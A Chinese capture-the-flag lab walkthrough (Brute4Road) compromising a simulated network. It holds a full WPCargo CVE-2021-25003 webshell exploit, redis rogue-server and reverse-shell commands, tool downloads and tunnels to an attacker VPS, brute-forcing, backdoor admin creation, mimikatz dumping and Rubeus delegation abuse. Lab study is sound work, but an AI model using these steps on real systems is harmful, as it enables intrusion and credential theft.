Brute4Road

flag01

        redis未授权 

        suid提权
flag02

        信息收集

        WPCargo<6.9.0 RCE

flag03

        MSSQL爆破

        SweetPotato提权

        内网穿透

flag04

        域内信息收集
      约束委派

flag01

fscan扫描存在redis未授权
详情看redis未授权


用kali可以直接redis-cli -h ip 连接redis ,用info查看版本信息

然后使用https://github.com/n0b0dyCN/redis-rogue-server的脚本直接利用redis主从复制
python3 redis-rogue-server.py --rhost 39.99.233.102 --lhost vpsip

执行上面命令前vps先nc -lvnp 1234监听端口

在执行脚本

利用成功后就可以得到shell
使用python -c 'import pty; pty.spawn("/bin/bash")'创建伪终端,提高shell的交互性;
查找flag在/home/redis/flag里面,但是没权限查看

使用命令尝试查找提权方法find / -perm -u=s -type f 2>/dev/null,发现有一个/usr/bin/base64可以利用

利用base64查看得到flag01
base64 "/home/redis/flag/flag01" | base64 --decode

flag01: flag{4cac6d19-05e3-4a25-95f9-60914cf000b6}

flag02

上传工具

先在vps上用python开启http服务以便于内网机器通过curl下载工具
python3 -m http.server 8888

内网机器下载工具

1
2
curl -o fscan http://vpsip:8888/fscan
curl -o chisel http://vpsip:8888/chisel

给chisel、fscanchmod +x chisel添加执行权限

接下来利用工具

信息收集

1
2
ifconfig,ip addr,arp -a 没查到内网ip
hostname -i 和netstat -ano 查到了内网ip

内网扫描

fscan -h ip/24 扫描C段

得到内网主机信息

1
2
3
4
5
172.22.2.3 DC
172.22.2.7 redis未授权已拿下
172.22.2.16 mssql
172.22.2.18 wordpress
172.22.2.34 client01

内网穿透

和frp一样,chisel更方便使用一些
vps监听
./chisel server -p 7000 --reverse

内网主机执行
./chisel client 106.15.2.152:7000 R:0.0.0.0:6666:socks &

使用proxifier成功代理

漏洞扫描

使用kali自带的工具wpscan扫描得到wordpress的插件wpcargo6.xx存在CVE


一般打 wordpress 的站点都是先看插件,再看能不能爆破密码
带上token可以查看更详细的信息
proxychains4 wpscan --url http://172.22.2.18/ --api-token xxxxxxx

1
2
3
4
5
[!] Title: WPCargo < 6.9.0 - Unauthenticated RCE
| Fixed in: 6.9.0
| References:
| - https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25003

漏洞利用

CVE-2021-25003
kali用代理运行exp传一句话木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys

import binascii

import requests

# This is a magic string that when treated as pixels and compressed using the png

# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file

payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):

return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://172.22.2.18/'

cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.

requests.get(

f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"

)

# We have uploaded a webshell - now let's use it to execute a command.

print(requests.post(

f"{destination_url}webshell.php?1=system", data={"2": cmd}

).content.decode('ascii', 'ignore'))

使用蚁剑选择cmdlinux连接

1
2
http://172.22.2.18/webshell.php?1=system
POST: 2

测试连接

找到wordpress数据库配置文件

使用蚁剑连接MySQL数据库

找到flag02并点击执行得到flag02
flag{c757e423-eb44-459c-9c63-7625009910d8}

flag03

在something表中点击执行得到弱密码,再根据题目提示的猜测是密码表,可以调整limit 0,1000总共999个密码

mssql爆破

使用fscan或者九头蛇爆破
fscan.exe -h 172.22.2.16 -m mssql -pwdf 1.txt或者
proxychains4 -q hydra -l sa -P ./pass.txt 172.22.2.16 mssql -f或者超级弱口令检测工具
得到账户密码

1
2
fscan -h 172.22.2.16 -m mssql -pwdf password.txt
[+] mssql:172.22.2.16:1433:sa ElGNkOiC

连接172.22.2.16 mssql数据库

直接查看flag文件发现没有权限
上传Sweetpotato到users/public提权并查看flag文件

1
C:/Users/Public/SweetPotato.exe -a "type C:\Users\Administrator\flag\flag03.txt"

得到flag文件

flag04

mssql机器信息收集

使用netstat -ano 发现该机器开启了3389远程桌面

使用命令添加用户以便于远程桌面连接

1
C:/Users/Public/SweetPotato.exe -a "net user nihao9 nihao9! /add"


并把该用户添加到本地管理员组中

1
C:/Users/Public/SweetPotato.exe -a "net localgroup administrators nihao9 /add "

输入账号密码连接

使用systeminfonet time /domain信息收集发现该机器在域环境中但是我们登陆的不是域用户

利用bloodhound查看域环境发现MYSQLSERVER$机器存在到DC的委派,可以利用约束性委派横向移动到DC

横向移动

上传mimkatz和Rubeus到该机器

使用mimikatz抓取hash密码

1
2
privilege::debug
sekurlsa::logonpasswords

得到MSSQLSERVER$机器的hash

使用RUbeus时发现没有net3.5

安装net 3.5
sxs下载

1
dism.exe /online /enable-feature /featurename:NetFX3 /Source:D:\sxs


如果上一步出现该情况
使用该命令

1
dism.exe /online /enable-feature /all /featurename:NetFX3 /Source:D:\sxs

使用Rubeus
Rubeus的功能类似于模拟kerberos认证,从而生成TGT票据的效果
该命令可以为机器账户MSSQLSERVER$生成TGT票据

1
2
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:872156288c17f1f0f2d7ae9af50be9dc /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap

生成高权限ST服务票据并导入命令如下:
委派定义:允许服务账户可以代表用户去访问服务,而服务账户就是我们拿到的机器账户。

因为机器用户有到DC的委派,该命令就是利用机器账户的S4U2Self 扩展代表域管理员 Administrator 请求针对域控 CIFS 服务的票据,并将得到的票据传递到内存中。

1
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:上一步得到的TGT票据

导入后我们就是域管理员权限,直接查看DC下的flag04

1
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt

在不知道路径的情况下,需要继续利用 LDAP 服务,mimikatz.exe 导出域内用户的 HASH

1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

得到管理员哈希,然后crackmapexec smb 传递就可以